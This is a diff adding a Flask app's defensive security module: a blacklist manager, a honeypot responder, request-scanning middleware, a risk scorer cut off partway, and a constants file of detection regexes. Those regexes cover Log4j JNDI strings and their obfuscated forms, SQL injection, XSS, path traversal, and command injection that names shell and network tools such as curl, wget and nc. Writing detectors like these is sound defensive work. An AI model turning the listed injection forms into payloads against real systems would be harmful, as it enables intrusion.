+    "ThreatResult",
+]

security/blacklist.py

@@ -0,0 +1,255 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+from __future__ import annotations
+
+import threading
+from datetime import timedelta
+from typing import List, Optional
+
+import db_pool
+from db.utils import get_cst_now, get_cst_now_str
+
+
+class BlacklistManager:
+    """黑名单管理器"""
+
+    def __init__(self) -> None:
+        self._schema_ready = False
+        self._schema_lock = threading.Lock()
+
+    def is_ip_banned(self, ip: str) -> bool:
+        """检查IP是否被封禁"""
+        ip_text = str(ip or "").strip()[:64]
+        if not ip_text:
+            return False
+        now_str = get_cst_now_str()
+
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            cursor.execute(
+                """
+                SELECT 1
+                FROM ip_blacklist
+                WHERE ip = ?
+                  AND is_active = 1
+                  AND (expires_at IS NULL OR expires_at > ?)
+                LIMIT 1
+                """,
+                (ip_text, now_str),
+            )
+            return cursor.fetchone() is not None
+
+    def is_user_banned(self, user_id: int) -> bool:
+        """检查用户是否被封禁"""
+        if user_id is None:
+            return False
+        self._ensure_schema()
+        user_id_int = int(user_id)
+        now_str = get_cst_now_str()
+
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            cursor.execute(
+                """
+                SELECT 1
+                FROM user_blacklist
+                WHERE user_id = ?
+                  AND is_active = 1
+                  AND (expires_at IS NULL OR expires_at > ?)
+                LIMIT 1
+                """,
+                (user_id_int, now_str),
+            )
+            return cursor.fetchone() is not None
+
+    def ban_ip(self, ip: str, reason: str, duration_hours: int = 24, permanent: bool = False):
+        """封禁IP"""
+        ip_text = str(ip or "").strip()[:64]
+        if not ip_text:
+            return False
+        reason_text = str(reason or "").strip()[:512]
+        now_str = get_cst_now_str()
+
+        expires_at: Optional[str]
+        if permanent:
+            expires_at = None
+        else:
+            hours = max(1, int(duration_hours))
+            expires_at = (get_cst_now() + timedelta(hours=hours)).strftime("%Y-%m-%d %H:%M:%S")
+
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            cursor.execute(
+                """
+                INSERT INTO ip_blacklist (ip, reason, is_active, added_at, expires_at)
+                VALUES (?, ?, 1, ?, ?)
+                ON CONFLICT(ip) DO UPDATE SET
+                    reason = excluded.reason,
+                    is_active = 1,
+                    added_at = excluded.added_at,
+                    expires_at = excluded.expires_at
+                """,
+                (ip_text, reason_text, now_str, expires_at),
+            )
+            conn.commit()
+            return True
+
+    def ban_user(self, user_id: int, reason: str):
+        """封禁用户"""
+        return self._ban_user_internal(user_id, reason=reason, duration_hours=24, permanent=False)
+
+    def unban_ip(self, ip: str):
+        """解除IP封禁"""
+        ip_text = str(ip or "").strip()[:64]
+        if not ip_text:
+            return False
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            cursor.execute("UPDATE ip_blacklist SET is_active = 0 WHERE ip = ?", (ip_text,))
+            conn.commit()
+            return cursor.rowcount > 0
+
+    def unban_user(self, user_id: int):
+        """解除用户封禁"""
+        if user_id is None:
+            return False
+        self._ensure_schema()
+        user_id_int = int(user_id)
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            cursor.execute("UPDATE user_blacklist SET is_active = 0 WHERE user_id = ?", (user_id_int,))
+            conn.commit()
+            return cursor.rowcount > 0
+
+    def get_banned_ips(self) -> List[dict]:
+        """获取所有被封禁的IP"""
+        now_str = get_cst_now_str()
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            cursor.execute(
+                """
+                SELECT ip, reason, is_active, added_at, expires_at
+                FROM ip_blacklist
+                WHERE is_active = 1
+                  AND (expires_at IS NULL OR expires_at > ?)
+                ORDER BY added_at DESC
+                """,
+                (now_str,),
+            )
+            return [dict(row) for row in cursor.fetchall()]
+
+    def get_banned_users(self) -> List[dict]:
+        """获取所有被封禁的用户"""
+        self._ensure_schema()
+        now_str = get_cst_now_str()
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            cursor.execute(
+                """
+                SELECT user_id, reason, is_active, added_at, expires_at
+                FROM user_blacklist
+                WHERE is_active = 1
+                  AND (expires_at IS NULL OR expires_at > ?)
+                ORDER BY added_at DESC
+                """,
+                (now_str,),
+            )
+            return [dict(row) for row in cursor.fetchall()]
+
+    def cleanup_expired(self):
+        """清理过期的封禁记录"""
+        now_str = get_cst_now_str()
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            cursor.execute(
+                """
+                UPDATE ip_blacklist
+                SET is_active = 0
+                WHERE is_active = 1
+                  AND expires_at IS NOT NULL
+                  AND expires_at <= ?
+                """,
+                (now_str,),
+            )
+            conn.commit()
+
+        self._ensure_schema()
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            cursor.execute(
+                """
+                UPDATE user_blacklist
+                SET is_active = 0
+                WHERE is_active = 1
+                  AND expires_at IS NOT NULL
+                  AND expires_at <= ?
+                """,
+                (now_str,),
+            )
+            conn.commit()
+
+    # ==================== Internal ====================
+
+    def _ensure_schema(self) -> None:
+        if self._schema_ready:
+            return
+        with self._schema_lock:
+            if self._schema_ready:
+                return
+            with db_pool.get_db() as conn:
+                cursor = conn.cursor()
+                cursor.execute(
+                    """
+                    CREATE TABLE IF NOT EXISTS user_blacklist (
+                        user_id INTEGER PRIMARY KEY,
+                        reason TEXT,
+                        is_active INTEGER DEFAULT 1,
+                        added_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+                        expires_at TIMESTAMP
+                    )
+                    """
+                )
+                cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_blacklist_active ON user_blacklist(is_active)")
+                cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_blacklist_expires ON user_blacklist(expires_at)")
+                conn.commit()
+            self._schema_ready = True
+
+    def _ban_user_internal(
+        self,
+        user_id: int,
+        *,
+        reason: str,
+        duration_hours: int = 24,
+        permanent: bool = False,
+    ) -> bool:
+        if user_id is None:
+            return False
+        self._ensure_schema()
+        user_id_int = int(user_id)
+        reason_text = str(reason or "").strip()[:512]
+        now_str = get_cst_now_str()
+
+        expires_at: Optional[str]
+        if permanent:
+            expires_at = None
+        else:
+            hours = max(1, int(duration_hours))
+            expires_at = (get_cst_now() + timedelta(hours=hours)).strftime("%Y-%m-%d %H:%M:%S")
+
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            cursor.execute(
+                """
+                INSERT INTO user_blacklist (user_id, reason, is_active, added_at, expires_at)
+                VALUES (?, ?, 1, ?, ?)
+                ON CONFLICT(user_id) DO UPDATE SET
+                    reason = excluded.reason,
+                    is_active = 1,
+                    added_at = excluded.added_at,
+                    expires_at = excluded.expires_at
+                """,
+                (user_id_int, reason_text, now_str, expires_at),
+            )
+            conn.commit()
+            return True
+

security/constants.py

@@ -0,0 +1,97 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+from __future__ import annotations
+
+import re
+
+# ==================== Threat Types ====================
+
+THREAT_TYPE_JNDI_INJECTION = "jndi_injection"
+THREAT_TYPE_NESTED_EXPRESSION = "nested_expression"
+THREAT_TYPE_SQL_INJECTION = "sql_injection"
+THREAT_TYPE_XSS = "xss"
+THREAT_TYPE_PATH_TRAVERSAL = "path_traversal"
+THREAT_TYPE_COMMAND_INJECTION = "command_injection"
+
+
+# ==================== Scores ====================
+
+SCORE_JNDI_DIRECT = 100
+SCORE_JNDI_OBFUSCATED = 100
+SCORE_NESTED_EXPRESSION = 80
+SCORE_SQL_INJECTION = 90
+SCORE_XSS = 70
+SCORE_PATH_TRAVERSAL = 60
+SCORE_COMMAND_INJECTION = 85
+
+
+# ==================== JNDI (Log4j) ====================
+#
+# - Direct: ${jndi:ldap://...} / ${jndi:rmi://...} => 100
+# - Obfuscated: ${${xxx:-j}${xxx:-n}...:ldap://...} => detect
+# - Nested expression: ${${...}} => 80
+
+JNDI_DIRECT_PATTERN = r"\$\{\s*jndi\s*:\s*(?:ldap|rmi)\s*://"
+
+# Common Log4j "default value" obfuscation variants:
+#   ${${::-j}${::-n}${::-d}${::-i}:ldap://...}
+#   ${${foo:-j}${bar:-n}${baz:-d}${qux:-i}:rmi://...}
+JNDI_OBFUSCATED_PATTERN = (
+    r"\$\{\s*"
+    r"(?:\$\{[^{}]{0,50}:-j\}|\$\{::-[jJ]\})\s*"
+    r"(?:\$\{[^{}]{0,50}:-n\}|\$\{::-[nN]\})\s*"
+    r"(?:\$\{[^{}]{0,50}:-d\}|\$\{::-[dD]\})\s*"
+    r"(?:\$\{[^{}]{0,50}:-i\}|\$\{::-[iI]\})\s*"
+    r":\s*(?:ldap|rmi)\s*://"
+)
+
+NESTED_EXPRESSION_PATTERN = r"\$\{\s*\$\{"
+
+
+# ==================== SQL Injection ====================
+
+SQLI_UNION_SELECT_PATTERN = r"\bunion\b\s+(?:all\s+)?\bselect\b"
+SQLI_OR_1_EQ_1_PATTERN = r"\bor\b\s+1\s*=\s*1\b"
+
+
+# ==================== XSS ====================
+
+XSS_SCRIPT_TAG_PATTERN = r"<\s*script\b"
+XSS_JS_PROTOCOL_PATTERN = r"javascript\s*:"
+XSS_INLINE_EVENT_HANDLER_PATTERN = r"\bon\w+\s*="
+
+
+# ==================== Path Traversal ====================
+
+PATH_TRAVERSAL_PATTERN = r"(?:\.\./|\.\.\\)+"
+
+
+# ==================== Command Injection ====================
+
+CMD_INJECTION_OPERATOR_WITH_CMD_PATTERN = (
+    r"(?:;|&&|\|\||\|)\s*"
+    r"(?:bash|sh|zsh|cmd|powershell|pwsh|curl|wget|nc|netcat|python|perl|ruby|php|node|cat|ls|id|whoami|uname|rm)\b"
+)
+CMD_INJECTION_SUBSHELL_PATTERN = r"(?:`[^`]{1,200}`|\$\([^)]{1,200}\))"
+
+
+# ==================== Compiled Regex ====================
+
+_FLAGS = re.IGNORECASE | re.MULTILINE
+
+JNDI_DIRECT_RE = re.compile(JNDI_DIRECT_PATTERN, _FLAGS)
+JNDI_OBFUSCATED_RE = re.compile(JNDI_OBFUSCATED_PATTERN, _FLAGS)
+NESTED_EXPRESSION_RE = re.compile(NESTED_EXPRESSION_PATTERN, _FLAGS)
+
+SQLI_UNION_SELECT_RE = re.compile(SQLI_UNION_SELECT_PATTERN, _FLAGS)
+SQLI_OR_1_EQ_1_RE = re.compile(SQLI_OR_1_EQ_1_PATTERN, _FLAGS)
+
+XSS_SCRIPT_TAG_RE = re.compile(XSS_SCRIPT_TAG_PATTERN, _FLAGS)
+XSS_JS_PROTOCOL_RE = re.compile(XSS_JS_PROTOCOL_PATTERN, _FLAGS)
+XSS_INLINE_EVENT_HANDLER_RE = re.compile(XSS_INLINE_EVENT_HANDLER_PATTERN, _FLAGS)
+
+PATH_TRAVERSAL_RE = re.compile(PATH_TRAVERSAL_PATTERN, _FLAGS)
+
+CMD_INJECTION_OPERATOR_WITH_CMD_RE = re.compile(CMD_INJECTION_OPERATOR_WITH_CMD_PATTERN, _FLAGS)
+CMD_INJECTION_SUBSHELL_RE = re.compile(CMD_INJECTION_SUBSHELL_PATTERN, _FLAGS)
+

security/honeypot.py

@@ -0,0 +1,126 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+from __future__ import annotations
+
+import random
+import uuid
+from typing import Any, Optional
+
+from app_logger import get_logger
+
+
+class HoneypotResponder:
+    """蜜罐响应生成器 - 返回假成功响应，欺骗攻击者"""
+
+    def __init__(self, *, rng: Optional[random.Random] = None) -> None:
+        self._rng = rng or random.SystemRandom()
+        self._logger = get_logger("app")
+
+    def generate_fake_response(self, endpoint: str, original_data: dict = None) -> dict:
+        """
+        根据端点生成假的成功响应
+
+        策略：
+        - 邮件发送类: {"success": True, "message": "邮件已发送"}
+        - 注册类: {"success": True, "user_id": fake_uuid}
+        - 登录类: {"success": True} 但不设置session
+        - 通用: {"success": True, "message": "操作成功"}
+        """
+        endpoint_text = str(endpoint or "").strip()
+        endpoint_lc = endpoint_text.lower()
+
+        category = self._classify_endpoint(endpoint_lc)
+        response: dict[str, Any] = {"success": True}
+
+        if category == "email":
+            response["message"] = "邮件已发送"
+        elif category == "register":
+            response["user_id"] = str(uuid.uuid4())
+        elif category == "login":
+            # 登录类：保持正常成功响应，但不进行任何 session / token 设置（调用方负责不写 session）
+            pass
+        else:
+            response["message"] = "操作成功"
+
+        response = self._merge_safe_fields(response, original_data)
+
+        self._logger.warning(
+            "蜜罐响应已生成: endpoint=%s, category=%s, keys=%s",
+            endpoint_text[:256],
+            category,
+            sorted(response.keys()),
+        )
+        return response
+
+    def should_use_honeypot(self, risk_score: int) -> bool:
+        """风险分>=80使用蜜罐响应"""
+        score = self._normalize_risk_score(risk_score)
+        use = score >= 80
+        self._logger.debug("蜜罐判定: risk_score=%s => %s", score, use)
+        return use
+
+    def delay_response(self, risk_score: int) -> float:
+        """
+        根据风险分计算延迟时间
+        0-20: 0秒
+        21-50: 随机0.5-1秒
+        51-80: 随机1-3秒
+        81-100: 随机3-8秒（蜜罐模式额外延迟消耗攻击者时间）
+        """
+        score = self._normalize_risk_score(risk_score)
+
+        delay = 0.0
+        if score <= 20:
+            delay = 0.0
+        elif score <= 50:
+            delay = float(self._rng.uniform(0.5, 1.0))
+        elif score <= 80:
+            delay = float(self._rng.uniform(1.0, 3.0))
+        else:
+            delay = float(self._rng.uniform(3.0, 8.0))
+
+        self._logger.debug("蜜罐延迟计算: risk_score=%s => delay_seconds=%.3f", score, delay)
+        return delay
+
+    # ==================== Internal ====================
+
+    def _normalize_risk_score(self, risk_score: Any) -> int:
+        try:
+            score = int(risk_score)
+        except Exception:
+            score = 0
+        return max(0, min(100, score))
+
+    def _classify_endpoint(self, endpoint_lc: str) -> str:
+        if not endpoint_lc:
+            return "generic"
+
+        # 先匹配更具体的：注册 / 登录
+        if any(k in endpoint_lc for k in ["/register", "register", "signup", "sign-up"]):
+            return "register"
+        if any(k in endpoint_lc for k in ["/login", "login", "signin", "sign-in"]):
+            return "login"
+
+        # 邮件相关：发送验证码 / 重置密码 / 重发验证等
+        if any(k in endpoint_lc for k in ["email", "mail", "forgot-password", "reset-password", "resend-verify"]):
+            return "email"
+
+        return "generic"
+
+    def _merge_safe_fields(self, base: dict, original_data: Optional[dict]) -> dict:
+        if not isinstance(original_data, dict) or not original_data:
+            return base
+
+        # 避免把攻击者输入或真实业务结果回显得太明显；仅合并少量“形状字段”
+        safe_bool_keys = {"need_verify", "need_captcha"}
+
+        merged = dict(base)
+        for key in safe_bool_keys:
+            if key in original_data and key not in merged:
+                try:
+                    merged[key] = bool(original_data.get(key))
+                except Exception:
+                    continue
+
+        return merged
+

security/middleware.py

@@ -0,0 +1,307 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+from __future__ import annotations
+
+import logging
+from typing import Optional
+
+from flask import g, jsonify, request
+from flask_login import current_user
+
+from app_logger import get_logger
+from app_security import get_rate_limit_ip
+
+from .blacklist import BlacklistManager
+from .honeypot import HoneypotResponder
+from .response_handler import ResponseAction, ResponseHandler, ResponseStrategy
+from .risk_scorer import RiskScorer
+from .threat_detector import ThreatDetector, ThreatResult
+
+# 全局实例（保持单例，避免重复初始化开销）
+detector = ThreatDetector()
+blacklist = BlacklistManager()
+scorer = RiskScorer(blacklist_manager=blacklist)
+handler: Optional[ResponseHandler] = None
+honeypot: Optional[HoneypotResponder] = None
+
+
+def _get_handler() -> ResponseHandler:
+    global handler
+    if handler is None:
+        handler = ResponseHandler()
+    return handler
+
+
+def _get_honeypot() -> HoneypotResponder:
+    global honeypot
+    if honeypot is None:
+        honeypot = HoneypotResponder()
+    return honeypot
+
+
+def _get_security_log_level(app) -> int:
+    level_name = str(getattr(app, "config", {}).get("SECURITY_LOG_LEVEL", "INFO") or "INFO").upper()
+    return int(getattr(logging, level_name, logging.INFO))
+
+
+def _log(app, level: int, message: str, *args, exc_info: bool = False) -> None:
+    """按 SECURITY_LOG_LEVEL 控制安全日志输出，避免过多日志影响性能。"""
+    try:
+        logger = get_logger("app")
+        min_level = _get_security_log_level(app)
+        if int(level) >= int(min_level):
+            logger.log(int(level), message, *args, exc_info=exc_info)
+    except Exception:
+        # 安全模块日志故障不得影响正常请求
+        return
+
+
+def _is_static_request(app) -> bool:
+    """对静态文件请求跳过安全检查以提升性能。"""
+    try:
+        path = str(getattr(request, "path", "") or "")
+    except Exception:
+        path = ""
+
+    if path.startswith("/static/"):
+        return True
+
+    try:
+        static_url_path = getattr(app, "static_url_path", None) or "/static"
+        if static_url_path and path.startswith(str(static_url_path).rstrip("/") + "/"):
+            return True
+    except Exception:
+        pass
+
+    try:
+        endpoint = getattr(request, "endpoint", None)
+        if endpoint in {"static", "serve_static"}:
+            return True
+    except Exception:
+        pass
+
+    return False
+
+
+def _safe_get_user_id() -> Optional[int]:
+    try:
+        if hasattr(current_user, "is_authenticated") and current_user.is_authenticated:
+            return getattr(current_user, "id", None)
+    except Exception:
+        return None
+    return None
+
+
+def _scan_request_threats(req) -> list[ThreatResult]:
+    """仅扫描 GET query 与 POST JSON body（降低开销与误报）。"""
+    threats: list[ThreatResult] = []
+
+    try:
+        # 1) Query 参数（所有方法均可能携带 query string）
+        try:
+            args = getattr(req, "args", None)
+            if args:
+                # MultiDict -> dict(list) 以保留多值
+                args_dict = args.to_dict(flat=False) if hasattr(args, "to_dict") else dict(args)
+                threats.extend(detector.scan_input(args_dict, "args"))
+        except Exception:
+            pass
+
+        # 2) JSON body（主要针对 POST；其他方法保持兼容）
+        try:
+            method = str(getattr(req, "method", "") or "").upper()
+        except Exception:
+            method = ""
+
+        if method in {"POST", "PUT", "PATCH", "DELETE"}:
+            try:
+                data = req.get_json(silent=True) if hasattr(req, "get_json") else None
+            except Exception:
+                data = None
+            if data is not None:
+                threats.extend(detector.scan_input(data, "json"))
+    except Exception:
+        # 扫描失败不应阻断业务
+        return []
+
+    threats.sort(key=lambda t: int(getattr(t, "score", 0) or 0), reverse=True)
+    return threats
+
+
+def init_security_middleware(app):
+    """初始化安全中间件到 Flask 应用。"""
+    try:
+        scorer.auto_ban_enabled = bool(app.config.get("AUTO_BAN_ENABLED", True))
+    except Exception:
+        pass
+
+    @app.before_request
+    def security_check():
+        if not bool(app.config.get("SECURITY_ENABLED", True)):
+            return None
+        if _is_static_request(app):
+            return None
+
+        try:
+            ip = get_rate_limit_ip()
+        except Exception:
+            ip = getattr(request, "remote_addr", "") or ""
+
+        user_id = _safe_get_user_id()
+
+        # 默认值，确保后续逻辑可用
+        g.risk_score = 0
+        g.response_strategy = ResponseStrategy(action=ResponseAction.ALLOW)
+        g.honeypot_mode = False
+        g.honeypot_endpoint = None
+        g.honeypot_generated = False
+
+        try:
+            # 1) 检查黑名单（静默拒绝，返回通用错误）
+            try:
+                if blacklist.is_ip_banned(ip):
+                    _log(app, logging.WARNING, "安全拦截: IP封禁命中 ip=%s path=%s", ip, request.path[:256])
+                    return jsonify({"error": "服务暂时繁忙，请稍后重试"}), 503
+            except Exception:
+                _log(app, logging.ERROR, "黑名单检查失败(ip) ip=%s", ip, exc_info=True)
+
+            try:
+                if user_id is not None and blacklist.is_user_banned(user_id):
+                    _log(app, logging.WARNING, "安全拦截: 用户封禁命中 user_id=%s path=%s", user_id, request.path[:256])
+                    return jsonify({"error": "服务暂时繁忙，请稍后重试"}), 503
+            except Exception:
+                _log(app, logging.ERROR, "黑名单检查失败(user) user_id=%s", user_id, exc_info=True)
+
+            # 2) 扫描威胁（GET query / POST JSON）
+            threats = _scan_request_threats(request)
+
+            if threats:
+                max_threat = threats[0]
+                _log(
+                    app,
+                    logging.WARNING,
+                    "威胁检测: ip=%s user_id=%s type=%s score=%s field=%s rule=%s",
+                    ip,
+                    user_id,
+                    getattr(max_threat, "threat_type", "unknown"),
+                    getattr(max_threat, "score", 0),
+                    getattr(max_threat, "field_name", ""),
+                    getattr(max_threat, "rule", ""),
+                )
+
+                # 记录威胁事件（异常不应阻断业务）
+                try:
+                    payload = getattr(max_threat, "value_preview", "") or getattr(max_threat, "matched", "") or ""
+                    scorer.record_threat(
+                        ip=ip,
+                        user_id=user_id,
+                        threat_type=getattr(max_threat, "threat_type", "unknown"),
+                        score=int(getattr(max_threat, "score", 0) or 0),
+                        request_path=getattr(request, "path", None),
+                        payload=str(payload)[:500] if payload else None,
+                    )
+                except Exception:
+                    _log(app, logging.ERROR, "威胁事件记录失败 ip=%s user_id=%s", ip, user_id, exc_info=True)
+
+                # 高危威胁启用蜜罐模式
+                if bool(app.config.get("HONEYPOT_ENABLED", True)):
+                    try:
+                        if int(getattr(max_threat, "score", 0) or 0) >= 80:
+                            g.honeypot_mode = True
+                            g.honeypot_endpoint = getattr(request, "endpoint", None)
+                    except Exception:
+                        pass
+
+            # 3) 综合风险分与响应策略
+            try:
+                risk_score = scorer.get_combined_score(ip, user_id)
+            except Exception:
+                _log(app, logging.ERROR, "风险分计算失败 ip=%s user_id=%s", ip, user_id, exc_info=True)
+                risk_score = 0
+
+            try:
+                strategy = _get_handler().get_strategy(risk_score)
+            except Exception:
+                _log(app, logging.ERROR, "响应策略计算失败 risk_score=%s", risk_score, exc_info=True)
+                strategy = ResponseStrategy(action=ResponseAction.ALLOW)
+
+            g.risk_score = int(risk_score or 0)
+            g.response_strategy = strategy
+
+            # 风险分触发蜜罐模式（兼容 ResponseHandler 的 HONEYPOT 策略）
+            if bool(app.config.get("HONEYPOT_ENABLED", True)):
+                try:
+                    if getattr(strategy, "action", None) == ResponseAction.HONEYPOT:
+                        g.honeypot_mode = True
+                except Exception:
+                    pass
+
+            # 4) 应用延迟
+            try:
+                if float(getattr(strategy, "delay_seconds", 0) or 0) > 0:
+                    _get_handler().apply_delay(strategy)
+            except Exception:
+                _log(app, logging.ERROR, "延迟应用失败", exc_info=True)
+
+            # 优先短路：避免业务 side effects（例如发送邮件/修改状态）
+            if getattr(g, "honeypot_mode", False) and bool(app.config.get("HONEYPOT_ENABLED", True)):
+                try:
+                    fake_payload = None
+                    try:
+                        fake_payload = request.get_json(silent=True)
+                    except Exception:
+                        fake_payload = None
+                    fake_response = _get_honeypot().generate_fake_response(
+                        getattr(g, "honeypot_endpoint", "default"),
+                        fake_payload if isinstance(fake_payload, dict) else None,
+                    )
+                    g.honeypot_generated = True
+                    return jsonify(fake_response), 200
+                except Exception:
+                    _log(app, logging.ERROR, "蜜罐响应生成失败", exc_info=True)
+                    return None
+        except Exception:
+            # 全局兜底：安全模块任何异常都不能阻断正常请求
+            _log(app, logging.ERROR, "安全中间件发生异常", exc_info=True)
+            return None
+
+        return None  # 继续正常处理
+
+    @app.after_request
+    def security_response(response):
+        """请求后处理 - 兜底应用蜜罐响应。"""
+        if not bool(app.config.get("SECURITY_ENABLED", True)):
+            return response
+        if not bool(app.config.get("HONEYPOT_ENABLED", True)):
+            return response
+
+        try:
+            if _is_static_request(app):
+                return response
+        except Exception:
+            pass
+
+        # 如果在 before_request 已经生成过蜜罐响应，则不再覆盖，避免丢失其他 after_request 的改动
+        try:
+            if getattr(g, "honeypot_generated", False):
+                return response
+        except Exception:
+            pass
+
+        try:
+            if getattr(g, "honeypot_mode", False):
+                fake_payload = None
+                try:
+                    fake_payload = request.get_json(silent=True)
+                except Exception:
+                    fake_payload = None
+                fake_response = _get_honeypot().generate_fake_response(
+                    getattr(g, "honeypot_endpoint", "default"),
+                    fake_payload if isinstance(fake_payload, dict) else None,
+                )
+                return jsonify(fake_response), 200
+        except Exception:
+            _log(app, logging.ERROR, "请求后蜜罐覆盖失败", exc_info=True)
+            return response
+
+        return response

security/response_handler.py

@@ -0,0 +1,131 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+from __future__ import annotations
+
+import random
+import time
+from dataclasses import dataclass
+from enum import Enum
+from typing import Any, Optional
+
+from app_logger import get_logger
+
+
+class ResponseAction(Enum):
+    ALLOW = "allow"  # 正常放行
+    ENHANCE_CAPTCHA = "enhance_captcha"  # 增强验证码
+    DELAY = "delay"  # 静默延迟
+    HONEYPOT = "honeypot"  # 蜜罐响应
+    BLOCK = "block"  # 直接拒绝
+
+
+@dataclass
+class ResponseStrategy:
+    action: ResponseAction
+    delay_seconds: float = 0
+    captcha_level: int = 1  # 1=普通4位, 2=6位, 3=滑块
+    message: str | None = None
+
+
+class ResponseHandler:
+    """响应策略处理器"""
+
+    def __init__(self, *, rng: Optional[random.Random] = None) -> None:
+        self._rng = rng or random.SystemRandom()
+        self._logger = get_logger("app")
+
+    def get_strategy(self, risk_score: int, is_banned: bool = False) -> ResponseStrategy:
+        """
+        根据风险分获取响应策略
+
+        0-20分: ALLOW, 无延迟, 普通验证码
+        21-40分: ALLOW, 无延迟, 6位验证码
+        41-60分: DELAY, 1-2秒延迟
+        61-80分: DELAY, 2-5秒延迟
+        81-100分: HONEYPOT, 3-8秒延迟
+        已封禁: BLOCK
+        """
+        score = self._normalize_risk_score(risk_score)
+
+        if is_banned:
+            strategy = ResponseStrategy(action=ResponseAction.BLOCK, message="访问被拒绝")
+            self._logger.warning("响应策略: BLOCK (banned=%s, risk_score=%s)", is_banned, score)
+            return strategy
+
+        if score <= 20:
+            strategy = ResponseStrategy(action=ResponseAction.ALLOW, delay_seconds=0, captcha_level=1)
+        elif score <= 40:
+            strategy = ResponseStrategy(action=ResponseAction.ALLOW, delay_seconds=0, captcha_level=2)
+        elif score <= 60:
+            strategy = ResponseStrategy(action=ResponseAction.DELAY, delay_seconds=float(self._rng.uniform(1.0, 2.0)))
+        elif score <= 80:
+            strategy = ResponseStrategy(action=ResponseAction.DELAY, delay_seconds=float(self._rng.uniform(2.0, 5.0)))
+        else:
+            strategy = ResponseStrategy(action=ResponseAction.HONEYPOT, delay_seconds=float(self._rng.uniform(3.0, 8.0)))
+
+        strategy.captcha_level = self._normalize_captcha_level(strategy.captcha_level)
+
+        self._logger.info(
+            "响应策略: action=%s risk_score=%s delay=%.3f captcha_level=%s",
+            strategy.action.value,
+            score,
+            float(strategy.delay_seconds or 0),
+            int(strategy.captcha_level),
+        )
+        return strategy
+
+    def apply_delay(self, strategy: ResponseStrategy):
+        """应用延迟（使用time.sleep）"""
+        if strategy is None:
+            return
+        delay = 0.0
+        try:
+            delay = float(getattr(strategy, "delay_seconds", 0) or 0)
+        except Exception:
+            delay = 0.0
+
+        if delay <= 0:
+            return
+
+        self._logger.debug("应用延迟: action=%s delay=%.3f", getattr(strategy.action, "value", strategy.action), delay)
+        time.sleep(delay)
+
+    def get_captcha_requirement(self, strategy: ResponseStrategy) -> dict:
+        """返回验证码要求 {"required": True, "level": 2}"""
+        level = 1
+        try:
+            level = int(getattr(strategy, "captcha_level", 1) or 1)
+        except Exception:
+            level = 1
+        level = self._normalize_captcha_level(level)
+
+        required = True
+        try:
+            required = getattr(strategy, "action", None) != ResponseAction.BLOCK
+        except Exception:
+            required = True
+
+        payload = {"required": bool(required), "level": level}
+        self._logger.debug("验证码要求: %s", payload)
+        return payload
+
+    # ==================== Internal ====================
+
+    def _normalize_risk_score(self, risk_score: Any) -> int:
+        try:
+            score = int(risk_score)
+        except Exception:
+            score = 0
+        return max(0, min(100, score))
+
+    def _normalize_captcha_level(self, level: Any) -> int:
+        try:
+            i = int(level)
+        except Exception:
+            i = 1
+        if i <= 1:
+            return 1
+        if i == 2:
+            return 2
+        return 3
+

security/risk_scorer.py

@@ -0,0 +1,362 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+from __future__ import annotations
+
+import math
+from dataclasses import dataclass
+from datetime import timedelta
+from typing import Optional
+
+import db_pool
+from db.utils import get_cst_now, get_cst_now_str, parse_cst_datetime
+
+from . import constants as C
+from .blacklist import BlacklistManager
+
+
+@dataclass(frozen=True)
+class _ScoreUpdateResult:
+    ip_score: int
+    user_score: int
+
+
+@dataclass(frozen=True)
+class _BanAction:
+    reason: str
+    duration_hours: Optional[int] = None
+    permanent: bool = False
+
+
+class RiskScorer:
+    """风险评分引擎 - 计算IP和用户的风险分数"""
+
+    def __init__(
+        self,
+        *,
+        auto_ban_enabled: bool = True,
+        auto_ban_duration_hours: int = 24,
+        high_risk_threshold: int = 80,
+        high_risk_window_hours: int = 1,
+        high_risk_permanent_ban_count: int = 3,
+        blacklist_manager: Optional[BlacklistManager] = None,
+    ) -> None:
+        self.auto_ban_enabled = bool(auto_ban_enabled)
+        self.auto_ban_duration_hours = max(1, int(auto_ban_duration_hours))
+        self.high_risk_threshold = max(0, int(high_risk_threshold))
+        self.high_risk_window_hours = max(1, int(high_risk_window_hours))
+        self.high_risk_permanent_ban_count = max(1, int(high_risk_permanent_ban_count))
+        self.blacklist = blacklist_manager or BlacklistManager()
+
+    def get_ip_score(self, ip_address: str) -> int:
+        """获取IP风险分(0-100)，从数据库读取"""
+        ip_text = str(ip_address or "").strip()[:64]
+        if not ip_text:
+            return 0
+
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            cursor.execute("SELECT risk_score FROM ip_risk_scores WHERE ip = ?", (ip_text,))
+            row = cursor.fetchone()
+            if not row:
+                return 0
+            try:
+                return max(0, min(100, int(row["risk_score"])))
+            except Exception:
+                return 0
+
+    def get_user_score(self, user_id: int) -> int:
+        """获取用户风险分(0-100)"""
+        if user_id is None:
+            return 0
+        user_id_int = int(user_id)
+
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            cursor.execute("SELECT risk_score FROM user_risk_scores WHERE user_id = ?", (user_id_int,))
+            row = cursor.fetchone()
+            if not row:
+                return 0
+            try:
+                return max(0, min(100, int(row["risk_score"])))
+            except Exception:
+                return 0
+
+    def get_combined_score(self, ip: str, user_id: int = None) -> int:
+        """综合风险分 = max(IP分, 用户分) + 行为加成"""
+        base = max(self.get_ip_score(ip), self.get_user_score(user_id) if user_id is not None else 0)
+        bonus = self._get_behavior_bonus(ip, user_id)
+        return max(0, min(100, int(base + bonus)))
+
+    def record_threat(
+        self,
+        ip: str,
+        user_id: int,
